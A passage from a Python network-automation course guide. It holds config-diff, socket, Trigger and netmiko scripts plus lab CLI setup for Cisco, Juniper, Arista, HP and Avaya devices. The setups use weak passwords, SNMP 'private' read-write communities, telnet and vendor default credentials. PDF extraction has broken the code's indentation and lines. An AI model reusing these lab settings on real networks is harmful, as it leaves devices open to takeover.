file_start = open("file_start.txt", "r")

list_run = file_run.readlines()

Page 76 of 185
77 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

#print list_run

list_start = file_start.readlines()
#print list_start

#Closing both files after reading


file_run.close()
file_start.close()

###Secondly, filtering the elements at the beginning of each


file/list, because we are interested in only the lines starting from
"version 12.4" up to the end###
#This is done by finding out the index of the element that
contains "version" and deleting all the elements at indexes lower than
this index
#The deletion process is done by slicing the first elements in
the list, up to the index of the element containing "version" and
replacing that slice with, basically, nothing

for index, element in enumerate(list_run):


if "version " in element and "!\r\n" ==
list_run[list_run.index(element) - 1]:
list_run[0:list_run.index(element)] = []

#print list_run

for index, element in enumerate(list_start):


if "version " in element and "!\r\n" ==
list_start[list_start.index(element) - 1]:
list_start[0:list_start.index(element)] = []

#print list_start

###Finally, comparing the elements in both lists and exporting


the differences to a new file###
#Inside the file, the following rules apply:
#A "+" sign means the line is present in the RUNNING-CONFIG
but not in the STARTUP-CONFIG
#A "-" sign means the line is present in the STARTUP-CONFIG
but not in the RUNNING-CONFIG

file_diff = open("file_diff.txt", "w")

#Finding lines in the running-config which are not present in


the startup-config
run_diff = [x for x in list_run if x not in list_start]
#print run_diff

#Printing the lines to the file_diff.txt file


for line in run_diff:
print >>file_diff, "+" + line

#Finding lines in the startup-config which are not present in


the running-config

Page 77 of 185
78 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

start_diff = [x for x in list_start if x not in list_run]


#print start_diff

#Printing the lines to the file_diff.txt file


for line in start_diff:
print >>file_diff, "-" + line

file_diff.close()

elif user_option == "2":


#Having the code from option "1" as a guideline, you should be
able to compare the running-config with a local config file
#Write the code and test it...
pass

elif user_option == "3":


#Having the code from option "1" as a guideline, you should be
able to compare the startup-config with a local config file
#Write the code and test it...
pass

else:
print "Exiting... See ya...\n\n"
sys.exit()

except KeyboardInterrupt:
print "\n\nProgram aborted by user. Exiting...\n"
sys.exit()

#End of program

Page 78 of 185
79 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

2.11. Sockets Server & Client


(full code, reference: Section 21. 100 Exercises, Network Programming Project and
Updates)

2.11.1. Socket Server

import socket

srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

srv_ip = socket.gethostbyname(socket.gethostname())

srv_port = 11111

srv.bind((srv_ip, srv_port))

srv.listen(2)

client, ip = srv.accept()

client.send("Hi! Welcome to this server!")

client.close()

2.11.2. Socket Client

import socket

cli = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

ip = socket.gethostbyname(socket.gethostname())

port = 11111

cli.connect((ip, port))

server_reply = cli.recv(65535)

print server_reply

cli.close()

Page 79 of 185
80 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

3. Python Network Programming - Part 2: Multivendor


Environment
NOTE! Python programming knowledge is required in order to understand the network
automation applications below. Learn Python from scratch inside the video course series!

3.1.1. Configuring IP, Remote Access & SNMP - Cisco IOS


(full code, reference: Section 7. Cisco Network Programming (IOS))

To allow remote access to your Cisco IOS device, you must enter the configuration below.

Please note that some versions of Cisco IOS do not support SSH, so you should make
sure you have a SSH-compatible IOS version. According to cisco.com: "The Cisco IOS
image used must be a k9(crypto) image in order to support SSH. For example c3750e-
universalk9-tar.122-35.SE5.tar is a k9 (crypto) image."

Here is the configuration you have to make in order to allow remote access. Please enter
Global Configuration mode (#configure terminal) before pasting this configuration.

So, to configure an IP address, SSHv2 and SNMP use this configuration:

IP Configuration:

enable

configure terminal

interface Fa0/0

ip address 172.16.1.2 255.255.255.0

Page 80 of 185
81 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

no shutdown

SSHv2 Configuration:

username mihai privilege 15 password python

line vty 0 4

privilege level 15

login local

transport input telnet ssh

exit

enable secret python

ip domain-name mihai

hostname Cisco-R1

!When asked How many bits in the modulus [512]: enter 1024

crypto key generate rsa

1024

ip ssh version 2

Page 81 of 185
82 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

ip ssh time-out 60

ip ssh authentication-retries 3

SNMP Configuration:

snmp-server community public ro

snmp-server community private rw

snmp-server enable traps

Checking the Configuration:

show ip interface brief

show ip ssh

show snmp

Saving Configuration:

copy run start

Saving Configuration to a TFTP Server:

copy run tftp://172.16.1.1/cisco_cfg

NOTE! Depending on the hardware and software you are using in your network, some
commands, command options or command outputs may be slightly different.

Page 82 of 185
83 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

3.1.2. Reading Command Output - Cisco IOS


First, make sure to have Trigger installed and properly configured (this is detailed inside
the course, in a step-by-step manner) and also that the Cisco device is reachable. Then,
use the code below to easily read command output from a Cisco IOS device.

#Importing the necessary module.


from trigger.cmds import Commando

#Asking the user for input.


devices = raw_input('\nEnter devices separated by comma: ')
commands = raw_input('\nEnter commands separated by comma: ')

#Splitting the devices/commands entered by the user.


devices_list = devices.split(',')
commands_list = commands.split(',')

#Running all given commands on all given devices.


cmd = Commando(devices = devices_list, commands = commands_list)

#Executing all the work in real time.


cmd.run()

#Capturing the results as a dictionary of dictionaries.


#Uncomment 'print result', then save and run the script...
#...to see how Commando returns the results initially.
output = cmd.results
#print output

#Using a while loop to allow the user to return and choose another cXdY
combination.
while True:
#Asking the user about the output he wants to obtain.
print '\nNOTE! The format is always cXdY, where X is the command
number and Y is the device number in the lists you enter.\nIf X = a this
means that command Y will be executed on ALL devices.\nIf Y = a this means
that all commands will be executed on device X.\nIf both X = a and Y = a
then all the commands will be executed on all devices.'

user_option_1 = raw_input('\nNow, what do you want to see? Example:


To get the output of command 2 on device 1 just type c2d1: ')

#Identifying the desired command(s) and device(s), based on the user


input above.
#Also addressing the cases where the user wants to run a command on
all devices...
#...in the list OR run all the commands in the list on a single
device.

#Now if the user types 'cad1' for example.

Page 83 of 185
84 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

if user_option_1[1] == 'a' and user_option_1[3] != 'a':


user_option_device = int(user_option_1[3])
all_outputs_list = []
for command in commands_list:
cmd_output = output[devices_list[user_option_device -
1]][command]
#Adding hostname before the result
all_outputs_list.append('Device: ' +
devices_list[user_option_device - 1] + ' - Command #' +
str(commands_list.index(command) + 1) + ':\n\n' + cmd_output)
final_result = '\r\n'.join(all_outputs_list)

#Now if the user types 'c1da' for example.


elif user_option_1[1] != 'a' and user_option_1[3] == 'a':
user_option_command = int(user_option_1[1])
all_outputs_list = []
for device in devices_list:
cmd_output =
output[device][commands_list[user_option_command - 1]]
#Adding hostname before the result
all_outputs_list.append('Device: ' + device + '\n\n' +
cmd_output)
final_result = '\r\n'.join(all_outputs_list)

#Now if the user types 'cada' for example, meaning execute all
commands on all devices.
elif user_option_1[1] == 'a' and user_option_1[3] == 'a':
all_outputs_list = []
for device in devices_list:
for command in commands_list:
all_outputs_list.append('Device: ' + device + ' -
Command #' + str(commands_list.index(command) + 1) + ':\n\n' +
cmd.results[device][command])
final_result = '\r\n'.join(all_outputs_list)

#Finally, if the user types 'c2d1' for example.


else:
user_option_device = int(user_option_1[3])
user_option_command = int(user_option_1[1])
#Adding hostname before the result
final_result = 'Device: ' + devices_list[user_option_device -
1] + '\n\n' + output[devices_list[user_option_device -
1]][commands_list[user_option_command - 1]]

#Print to screen or save to file?


user_option_2 = raw_input('\nOk, all done! Press "p" to print the
result to the screen. Press "s" to save it to a file. (p/s) ')

#Taking action based on user input.


if user_option_2 == 'p':
#Printing the output to the screen.
print '\n'
print final_result

Page 84 of 185
85 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

back = raw_input('\nGo back and choose another cXdY


combination? (y/n) ')

if back == 'y':
continue
else:
break

elif user_option_2 == 's':


#Asking the user for the file name.
filename = raw_input('\nPlease name your file. Example:
/home/ubuntu/c2d1.txt: ')

#Printing the output to a text file.

with open(filename, 'w') as f:


f.write(final_result)

print "\nDone! Check out %s to see the results.\n" % filename

back = raw_input('\nGo back and choose another cXdY


combination? (y/n) ')

if back == 'y':
continue
else:
break

#End Of Program

Page 85 of 185
86 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

3.1.3. Configuring Devices - Cisco IOS


First, make sure to have Trigger installed and properly configured (this is detailed inside
the course, in a step-by-step manner) and also that the Cisco device is reachable. Then,
use the code below to easily send configuration commands to a Cisco IOS device.

#Importing the necessary module.


from trigger.contrib.docommand import CommandRunner

#Asking the user for input.


print '\nNOTE! Make sure all files have "configure terminal" or similar at
line 1.'
print '\nNOTE! Make sure all devices have remote access enabled and
user/pass set.'

#IP addresses are verified by Trigger.


#If an address is not registered in NetDevices you'll get: 'Device not
found in NetDevices: 172.16.1.103'.
#If an address is not reachable you'll get: '172.16.1.101 - Error: An
error occurred while connecting'.
#If a file is not found in the filesystem you'll get an IOError and we
want to catch that exception.
try:
devices = raw_input('\nEnter devices separated by comma: ')
cmd_files = raw_input('\nEnter files separated by comma. Example:
/home/ubuntu/cmd1.txt: ')

#Splitting the devices/commands entered by the user.


devices_list = devices.split(',')
cmd_files_list = cmd_files.split(',')

#Running all commands from all the given files on all given devices.
cmd = CommandRunner(devices = devices_list, files = cmd_files_list)

#Executing all the work in real time.


cmd.run()

print '\nCommands executed successfully on all devices.\n'

#Raise exception in case one file does not exist. IP addresses are already
verified by Trigger.
except IOError, reason:
print '\nError! Reason: ' + str(reason) + '.\n'
print 'Please check the file(s) and paths. Redirecting back to
prompt...\n'

#End Of Program

Page 86 of 185
87 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

3.2.1. Configuring IP, Remote Access & SNMP Juniper


JunOS
(full code, reference: Section 8. Juniper Network Programming (JunOS))

To allow remote access to your Juniper JunOS device, you must enter the configuration
below.

Please enter Global Configuration mode (#configure) before making this


configuration.

Note! I used this configuration on my Juniper SRX100H, JUNOS Software Release


[10.2R3.10].

Note! Since JunOS requires a higher level of security when setting the remote access
password ('error: require change of case, digits or punctuation'), I configured
username: mihai1 and password: python1 and also added them in the .tacacsrc file
(~/.tacacsrc) on the Ubuntu 15.10 VM.

IP Configuration:

cli

edit

set system host-name juniper-R1

set system root-authentication plain-text-password

set interface Fa0/0/1.0 family inet address 172.16.1.3/24

set routing-options static route 0.0.0.0/0 next-hop 172.16.1.1

SSHv2 Configuration:

configure

Page 87 of 185
88 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

set system services ssh

set system services ssh protocol-version v2

set system login user mihai1 class super-user authentication plain-text-password [Enter]

New password: [python1]

Retype new password: [python1]

SNMP Configuration:

set snmp community public authorization read-only

set snmp community private authorization read-write

set snmp client-list mylist 172.16.1.0/24

set snmp community public client-list-name mylist

set snmp community private client-list-name mylist

set snmp trap-group Python

commit

Checking Configuration:

show interfaces terse

show interfaces vlan

show system services ssh

show snmp

Saving Configuration:

commit

Page 88 of 185
89 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

Saving Configuration to a TFTP Server (considering our Ubuntu VM):

#save ubuntu@172.16.1.1:/tftpboot/juniper_cfg

Note: Before trying to save the configuration to the TFTP server on the Ubuntu VM, I had
to install openssh on the VM and allow SSH access from the Juniper SRX100, using the
following commands in the Linux shell:

sudo apt-get install openssh-server

sudo ufw allow 22

Note! Depending on the hardware and software you are using in your network, some
commands, command options or command outputs may be slightly different.

3.2.2. Reading Command Output - Juniper JunOS

#Importing the necessary module.


from trigger.cmds import Commando

#Asking the user for input.


devices = raw_input('\nEnter devices separated by comma: ')
commands = raw_input('\nEnter commands separated by comma: ')

#Splitting the devices/commands entered by the user.


devices_list = devices.split(',')
commands_list = commands.split(',')

#Running all given commands on all given devices.


cmd = Commando(devices = devices_list, commands = commands_list, force_cli
= True)

#Executing all the work in real time.


cmd.run()

#Capturing the results as a dictionary of dictionaries.


#Uncomment 'print result', then save and run the script...
#...to see how Commando returns the results initially.
output = cmd.results
#print output

Page 89 of 185
90 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

#Using a while loop to allow the user to return and choose another cXdY
combination.
while True:
#Asking the user about the output he wants to obtain.
print '\nNOTE! The format is always cXdY, where X is the command
number and Y is the device number in the lists you enter.\nIf X = a this
means that command Y will be executed on ALL devices.\nIf Y = a this means
that all commands will be executed on device X.\nIf both X = a and Y = a
then all the commands will be executed on all devices.'

user_option_1 = raw_input('\nNow, what do you want to see? Example:


To get the output of command 2 on device 1 just type c2d1: ')

#Identifying the desired command(s) and device(s), based on the user


input above.
#Also addressing the cases where the user wants to run a command on
all devices...
#...in the list OR run all the commands in the list on a single
device.

#Now if the user types 'cad1' for example.


if user_option_1[1] == 'a' and user_option_1[3] != 'a':
user_option_device = int(user_option_1[3])
all_outputs_list = []
for command in commands_list:
cmd_output = output[devices_list[user_option_device -
1]][command]
#Adding hostname before the result
all_outputs_list.append('Device: ' +
devices_list[user_option_device - 1] + ' - Command #' +
str(commands_list.index(command) + 1) + ':\n\n' + cmd_output)
final_result = '\r\n'.join(all_outputs_list)

#Now if the user types 'c1da' for example.


elif user_option_1[1] != 'a' and user_option_1[3] == 'a':
user_option_command = int(user_option_1[1])
all_outputs_list = []
for device in devices_list:
cmd_output =
output[device][commands_list[user_option_command - 1]]
#Adding hostname before the result
all_outputs_list.append('Device: ' + device + '\n\n' +
cmd_output)
final_result = '\r\n'.join(all_outputs_list)

#Now if the user types 'cada' for example, meaning execute all
commands on all devices.
elif user_option_1[1] == 'a' and user_option_1[3] == 'a':
all_outputs_list = []
for device in devices_list:
for command in commands_list:

Page 90 of 185
91 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

all_outputs_list.append('Device: ' + device + ' -


Command #' + str(commands_list.index(command) + 1) + ':\n\n' +
cmd.results[device][command])
final_result = '\r\n'.join(all_outputs_list)

#Finally, if the user types 'c2d1' for example.


else:
user_option_device = int(user_option_1[3])
user_option_command = int(user_option_1[1])
#Adding hostname before the result
final_result = 'Device: ' + devices_list[user_option_device -
1] + '\n\n' + output[devices_list[user_option_device -
1]][commands_list[user_option_command - 1]]

#Print to screen or save to file?


user_option_2 = raw_input('\nOk, all done! Press "p" to print the
result to the screen. Press "s" to save it to a file. (p/s) ')

#Taking action based on user input.


if user_option_2 == 'p':
#Printing the output to the screen.
print '\n'
print final_result

back = raw_input('\nGo back and choose another cXdY


combination? (y/n) ')

if back == 'y':
continue
else:
break

elif user_option_2 == 's':


#Asking the user for the file name.
filename = raw_input('\nPlease name your file. Example:
/home/ubuntu/c2d1.txt: ')

#Printing the output to a text file.

with open(filename, 'w') as f:


f.write(final_result)

print "\nDone! Check out %s to see the results.\n" % filename

back = raw_input('\nGo back and choose another cXdY


combination? (y/n) ')

if back == 'y':
continue
else:
break

#End Of Program

Page 91 of 185
92 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

3.2.3. Configuring Devices - Juniper JunOS

#Importing the necessary module.


from trigger.contrib.docommand import CommandRunner

#Asking the user for input.


print '\nNOTE! Make sure all files have "configure terminal" or similar at
line 1.'
print '\nNOTE! Make sure all devices have remote access enabled and
user/pass set.'

#IP addresses are verified by Trigger.


#If an address is not registered in NetDevices you'll get: 'Device not
found in NetDevices: 172.16.1.103'.
#If an address is not reachable you'll get: '172.16.1.101 - Error: An
error occurred while connecting'.
#If a file is not found in the filesystem you'll get an IOError and we
want to catch that exception.
try:
devices = raw_input('\nEnter devices separated by comma: ')
cmd_files = raw_input('\nEnter files separated by comma. Example:
/home/ubuntu/cmd1.txt: ')

#Splitting the devices/commands entered by the user.


devices_list = devices.split(',')
cmd_files_list = cmd_files.split(',')

#Running all commands from all the given files on all given devices.
cmd = CommandRunner(devices = devices_list, files = cmd_files_list,
force_cli = True, timeout = None)

#Executing all the work in real time.


cmd.run()

print '\nCommands executed successfully on all devices.\n'

#Raise exception in case one file does not exist. IP addresses are already
verified by Trigger.
except IOError, reason:
print '\nError! Reason: ' + str(reason) + '.\n'
print 'Please check the file(s) and paths. Redirecting back to
prompt...\n'

#End Of Program

Page 92 of 185
93 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

3.3.1. Configuring IP, Remote Access & SNMP Arista vEOS


(full code, reference: Section 9. Arista Network Programming (vEOS))

To allow remote access to your Arista EOS device, you must enter the configuration
below.

Please enter Global Configuration mode (#configure terminal) before making this
configuration.

Note! I used this configuration on Arista vEOS VM, Software Version 4.13.14M.

So, to configure an IP address, SSHv2 and SNMP use this configuration:

IP Configuration:

enable

configure

interface Management 1

ip address 172.16.1.4 255.255.255.0

no shutdown

SSHv2 Configuration:

username mihai privilege 15 role network-admin secret python

aaa authorization exec default local

management ssh

idle-timeout 0

authentication mode keyboard-interactive

Page 93 of 185
94 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

server-port 22

no fips restrictions

no hostkey client strict-checking

no shutdown

login timeout 120

log-level info

management telnet

no shutdown

idle-timeout 0

SNMP Configuration:

snmp-server community public ro

snmp-server community private rw

snmp-server enable traps

Checking Configuration:

show ip interface brief

show management ssh

show snmp

Saving Configuration:

copy run start

Page 94 of 185
95 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

Saving Configuration to a TFTP Server:

copy run tftp://172.16.1.1/arista_cfg

Note! Depending on the hardware and software you are using in your network, some
commands, command options or command outputs may be slightly different.

3.3.2. Reading Command Output - Cisco IOS

#Importing the necessary module.


from trigger.cmds import Commando

#Asking the user for input.


devices = raw_input('\nEnter devices separated by comma: ')
commands = raw_input('\nEnter commands separated by comma: ')

#Splitting the devices/commands entered by the user.


devices_list = devices.split(',')
commands_list = commands.split(',')

#Running all given commands on all given devices.


cmd = Commando(devices = devices_list, commands = commands_list)

#Executing all the work in real time.


cmd.run()

#Capturing the results as a dictionary of dictionaries.


#Uncomment 'print result', then save and run the script...
#...to see how Commando returns the results initially.
output = cmd.results
#print output

#Using a while loop to allow the user to return and choose another cXdY
combination.
while True:
#Asking the user about the output he wants to obtain.
print '\nNOTE! The format is always cXdY, where X is the command
number and Y is the device number in the lists you enter.\nIf X = a this
means that command Y will be executed on ALL devices.\nIf Y = a this means
that all commands will be executed on device X.\nIf both X = a and Y = a
then all the commands will be executed on all devices.'

user_option_1 = raw_input('\nNow, what do you want to see? Example:


To get the output of command 2 on device 1 just type c2d1: ')

Page 95 of 185
96 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

#Identifying the desired command(s) and device(s), based on the user


input above.
#Also addressing the cases where the user wants to run a command on
all devices...
#...in the list OR run all the commands in the list on a single
device.

#Now if the user types 'cad1' for example.


if user_option_1[1] == 'a' and user_option_1[3] != 'a':
user_option_device = int(user_option_1[3])
all_outputs_list = []
for command in commands_list:
cmd_output = output[devices_list[user_option_device -
1]][command]
#Adding hostname before the result
all_outputs_list.append('Device: ' +
devices_list[user_option_device - 1] + ' - Command #' +
str(commands_list.index(command) + 1) + ':\n\n' + cmd_output)
final_result = '\r\n'.join(all_outputs_list)

#Now if the user types 'c1da' for example.


elif user_option_1[1] != 'a' and user_option_1[3] == 'a':
user_option_command = int(user_option_1[1])
all_outputs_list = []
for device in devices_list:
cmd_output =
output[device][commands_list[user_option_command - 1]]
#Adding hostname before the result
all_outputs_list.append('Device: ' + device + '\n\n' +
cmd_output)
final_result = '\r\n'.join(all_outputs_list)

#Now if the user types 'cada' for example, meaning execute all
commands on all devices.
elif user_option_1[1] == 'a' and user_option_1[3] == 'a':
all_outputs_list = []
for device in devices_list:
for command in commands_list:
all_outputs_list.append('Device: ' + device + ' -
Command #' + str(commands_list.index(command) + 1) + ':\n\n' +
cmd.results[device][command])
final_result = '\r\n'.join(all_outputs_list)

#Finally, if the user types 'c2d1' for example.


else:
user_option_device = int(user_option_1[3])
user_option_command = int(user_option_1[1])
#Adding hostname before the result
final_result = 'Device: ' + devices_list[user_option_device -
1] + '\n\n' + output[devices_list[user_option_device -
1]][commands_list[user_option_command - 1]]

#Print to screen or save to file?

Page 96 of 185
97 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

user_option_2 = raw_input('\nOk, all done! Press "p" to print the


result to the screen. Press "s" to save it to a file. (p/s) ')

#Taking action based on user input.


if user_option_2 == 'p':
#Printing the output to the screen.
print '\n'
print final_result

back = raw_input('\nGo back and choose another cXdY


combination? (y/n) ')

if back == 'y':
continue
else:
break

elif user_option_2 == 's':


#Asking the user for the file name.
filename = raw_input('\nPlease name your file. Example:
/home/ubuntu/c2d1.txt: ')

#Printing the output to a text file.

with open(filename, 'w') as f:


f.write(final_result)

print "\nDone! Check out %s to see the results.\n" % filename

back = raw_input('\nGo back and choose another cXdY


combination? (y/n) ')

if back == 'y':
continue
else:
break

#End Of Program

Page 97 of 185
98 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

3.3.3. Configuring Devices - Cisco IOS

#Importing the necessary module.


from trigger.contrib.docommand import CommandRunner

#Asking the user for input.


print '\nNOTE! Make sure all files have "configure terminal" or similar at
line 1.'
print '\nNOTE! Make sure all devices have remote access enabled and
user/pass set.'

#IP addresses are verified by Trigger.


#If an address is not registered in NetDevices you'll get: 'Device not
found in NetDevices: 172.16.1.103'.
#If an address is not reachable you'll get: '172.16.1.101 - Error: An
error occurred while connecting'.
#If a file is not found in the filesystem you'll get an IOError and we
want to catch that exception.
try:
devices = raw_input('\nEnter devices separated by comma: ')
cmd_files = raw_input('\nEnter files separated by comma. Example:
/home/ubuntu/cmd1.txt: ')

#Splitting the devices/commands entered by the user.


devices_list = devices.split(',')
cmd_files_list = cmd_files.split(',')

#Running all commands from all the given files on all given devices.
cmd = CommandRunner(devices = devices_list, files = cmd_files_list)

#Executing all the work in real time.


cmd.run()

print '\nCommands executed successfully on all devices.\n'

#Raise exception in case one file does not exist. IP addresses are already
verified by Trigger.
except IOError, reason:
print '\nError! Reason: ' + str(reason) + '.\n'
print 'Please check the file(s) and paths. Redirecting back to
prompt...\n'

#End Of Program

Page 98 of 185
99 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

3.4.1. Configuring IP, Remote Access & SNMP HP ProCurve


OS
(full code, reference: Section 10. HP Network Programming (ProCurve OS))

To allow remote access to your HP ProCurve device, you must enter the configuration
below.

Please enter Global Configuration mode (#configure terminal) before making this
configuration.

Note! I used this configuration on a HP ProCurve 2650 switch, Firmware Version


H.10.117.

So, to configure an IP address, SSHv2 and SNMP use this configuration:

IP Configuration:

enable

configure

vlan 1

ip address 172.16.1.5 255.255.255.0

SSHv2 Configuration:

ip ssh key-size 1024

crypto key generate ssh

ip ssh version 2

password manager user-name mihai

Page 99 of 185
100 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

New password for Manager: [python]

Please retype new password for Manager: [python]

SNMP Configuration:

snmp-server enable traps authentication

Checking Configuration:

show ip

show ip ssh

show snmp-server

Saving Configuration:

write memory

Saving Configuration to a TFTP server:

copy run tftp 172.16.1.1 hp_cfg

Note! Depending on the hardware and software you are using in your network, some
commands, command options or command outputs may be slightly different.

Page 100 of 185


101 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

3.4.2. Reading Command Output - HP ProCurve OS

#Importing the necessary module(s)


from netmiko import ConnectHandler
import time

#User menu
print '\nPlease choose an action:\n\n1 - Read command output from a single
device\n2 - Read command output from multiple devices\n'

user_choice = raw_input('\nEnter your choice: ')

#Defining actions based on user input


if user_choice == '1':
#Asking the user for input
ip = raw_input('\nEnter the device IP address: ')

username = raw_input('\nEnter username for SSHv2 connection: ')

password = raw_input('\nEnter password for SSHv2 connection: ')

command = raw_input('\nEnter command to send: ')

print '\n'

session = ConnectHandler(device_type = 'hp_procurve', ip = ip,


username = username, password = password)

time.sleep(1)

session_output = session.send_command(command)

time.sleep(1)

print '\nNow what?\n\n1 - Print the output to the screen\n2 - Save


the output to a file\n'

user_choice = raw_input('\nEnter your choice: ')

if user_choice == '1':
print session_output

elif user_choice == '2':


filename = raw_input('\nPlease name your file. Example:
/home/ubuntu/hp1.txt: ')

#Printing the output to a text file.


with open(filename, 'a') as f:
f.write(session_output)

print "\nDone! Check out %s to see the results.\n" % filename

Page 101 of 185


102 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

elif user_choice == '2':


#Asking the user for input
ip = raw_input('\nEnter the device IP addresses separated by comma:
')

username = raw_input('\nEnter username for SSHv2 connection: ')

password = raw_input('\nEnter password for SSHv2 connection: ')

command = raw_input('\nEnter command to send: ')

#Storing the device IP addresses as a list


dev_list = ip.split(',')
#print dev_list

print '\nNow what?\n\n1 - Print the output to the screen\n2 - Save


the output to a file\n'

user_choice = raw_input('\nEnter your choice: ')

if user_choice == '1':
for ip in dev_list:
#Running the code for each device specified by the user
session = ConnectHandler(device_type = 'hp_procurve', ip
= ip, username = username, password = password)

time.sleep(1)

session_output = session.send_command(command)

time.sleep(1)

#Printing the output to the screen


print '\n' + session_output + '\n'

elif user_choice == '2':


filename = raw_input('\nPlease name your file. Example:
/home/ubuntu/hp1.txt: ')

for ip in dev_list:
#Running the code for each device specified by the user
session = ConnectHandler(device_type = 'hp_procurve', ip
= ip, username = username, password = password)

time.sleep(1)

session_output = session.send_command(command)

time.sleep(1)

#Printing the output to a text file.


with open(filename, 'a') as f:
f.write('\n' + session_output + '\n')

Page 102 of 185


103 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

print "\nDone! Check out %s to see the results.\n" % filename

#For using this application on other networking vendors, just replace


device_type = 'hp_procurve' with any of the following:
#device_type = 'cisco_ios'
#device_type = 'juniper'
#device_type = 'arista_eos'

#End of Program

3.4.3. Configuring Devices - HP ProCurve OS

#Importing the necessary module(s)


from netmiko import ConnectHandler
import sys

#User menu
print '\nMake sure you have an username and password and SSHv2 enabled on
the device(s)'

print '\nPlease choose an action:\n\n1 - Send config commands to a single


HP device\n2 - Send config commands to multiple HP devices\n3 - Send
config commands from a file to a single HP device\n4 - Send config
commands from a file to multiple HP devices\n'

user_choice = raw_input('\nEnter your choice: ')

#Defining actions based on user input


if user_choice == '1':
#Asking the user for input
ip = raw_input('\nEnter the device IP address: ')

username = raw_input('\nEnter username for SSHv2 connection: ')

password = raw_input('\nEnter password for SSHv2 connection: ')

commands = raw_input('\nEnter commands to send separated by comma:


')

print '\n'

session = ConnectHandler(device_type = 'hp_procurve', ip = ip,


username = username, password = password)

session_output = session.send_config_set(commands.split(','))

Page 103 of 185


104 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

print "\nDone! Check out %s to see the results.\n" % ip

elif user_choice == '2':


#Asking the user for input
ip = raw_input('\nEnter the device IP addresses separated by comma:
')

username = raw_input('\nEnter username for SSHv2 connection: ')

password = raw_input('\nEnter password for SSHv2 connection: ')

commands = raw_input('\nEnter commands to send separated by comma:


')

print '\n'

for ip in ip.split(','):

session = ConnectHandler(device_type = 'hp_procurve', ip = ip,


username = username, password = password)

session_output = session.send_config_set(commands.split(','))

print "\nDone! Check out %s to see the results.\n" % ip

elif user_choice == '3':


#Asking the user for input
ip = raw_input('\nEnter the device IP address: ')

username = raw_input('\nEnter username for SSHv2 connection: ')

password = raw_input('\nEnter password for SSHv2 connection: ')

commands_file = raw_input('\nEnter the filename. Example:


/home/ubuntu/cmd.txt: ')

print '\n'

session = ConnectHandler(device_type = 'hp_procurve', ip = ip,


username = username, password = password)

session_output = session.send_config_from_file(commands_file)

print "\nDone! Check out %s to see the results.\n" % ip

elif user_choice == '4':


#Asking the user for input
ip = raw_input('\nEnter the device IP addresses separated by comma:
')

username = raw_input('\nEnter username for SSHv2 connection: ')

password = raw_input('\nEnter password for SSHv2 connection: ')

Page 104 of 185


105 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

commands_file = raw_input('\nEnter the filename. Example:


/home/ubuntu/cmd.txt: ')

print '\n'

for ip in ip.split(','):

session = ConnectHandler(device_type = 'hp_procurve', ip = ip,


username = username, password = password)

session_output = session.send_config_from_file(commands_file)

print "\nDone! Check out %s to see the results.\n" % ip

else:
print "\nInvalid input. Exiting...\n"
sys.exit()

#For using this application on other networking vendors, just replace


device_type = 'hp_procurve' with any of the following:
#device_type = 'cisco_ios'
#device_type = 'juniper'
#device_type = 'arista_eos'

#End of Program

Page 105 of 185


106 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

3.5.1. Configuring IP, Remote Access & SNMP Avaya ERS


OS
(full code, reference: Section 11. Avaya Network Programming (ERS OS))

To allow remote access to your Avaya ERS device, you must enter the configuration
below.

Telnet access is enabled by default. In this section, we will use Telnet instead of SSH to
access the switch.

Default Avaya ERS R/W username and password: username: RW ,


password: securepasswd

Please enter Global Configuration mode (#configure terminal) before making this
configuration.

Note! I used this configuration on an Avaya ERS 3526T-PWR+ switch, Software Version
5.3.1.

So, to configure an IP address, Telnet/SSHv2 and SNMP use this configuration:

IP Configuration:

enable

configure terminal

ip address 172.16.1.6 255.255.255.0

Page 106 of 185


107 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

Telnet/SSHv2 Configuration:

cli password telnet local

ssh [OPTIONAL]

SNMP Configuration:

snmp-server enable

Checking Configuration:

show ip

show ssh

show snmp-server

Saving Configuration:

copy config nvram

Saving Configuration to a TFTP Server:

copy run tftp address 172.16.1.1 filename avaya_cfg

Note! Depending on the hardware and software you are using in your network, some
commands, command options or command outputs may be slightly different.

Page 107 of 185


108 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

3.5.2. The AvayaERSConnect Python Module

Below you can find the full documentation and code for the AvayaERSConnect module.

3.5.2.1. AvayaERSConnect.py Documentation

The AvayaERSConnect Python module is built using Python 2.7.3, on top of the telnetlib
library and it works with any version of Python >= 2.7.x. Other versions below 2.7.x were
not tested.

AvayaERSConnect is published under the MIT License.

The official documentation of telnetlib is accessible here:

https://docs.python.org/2/library/telnetlib.html

AvayaERSConnects main purpose is to connect to any Avaya ERS Device via Telnet
and perform various administration operations easily, without the need to write any
Python code at all.

The main prerequisites when using this module are:

- Running it inside a Linux host / virtual machine is highly recommended.

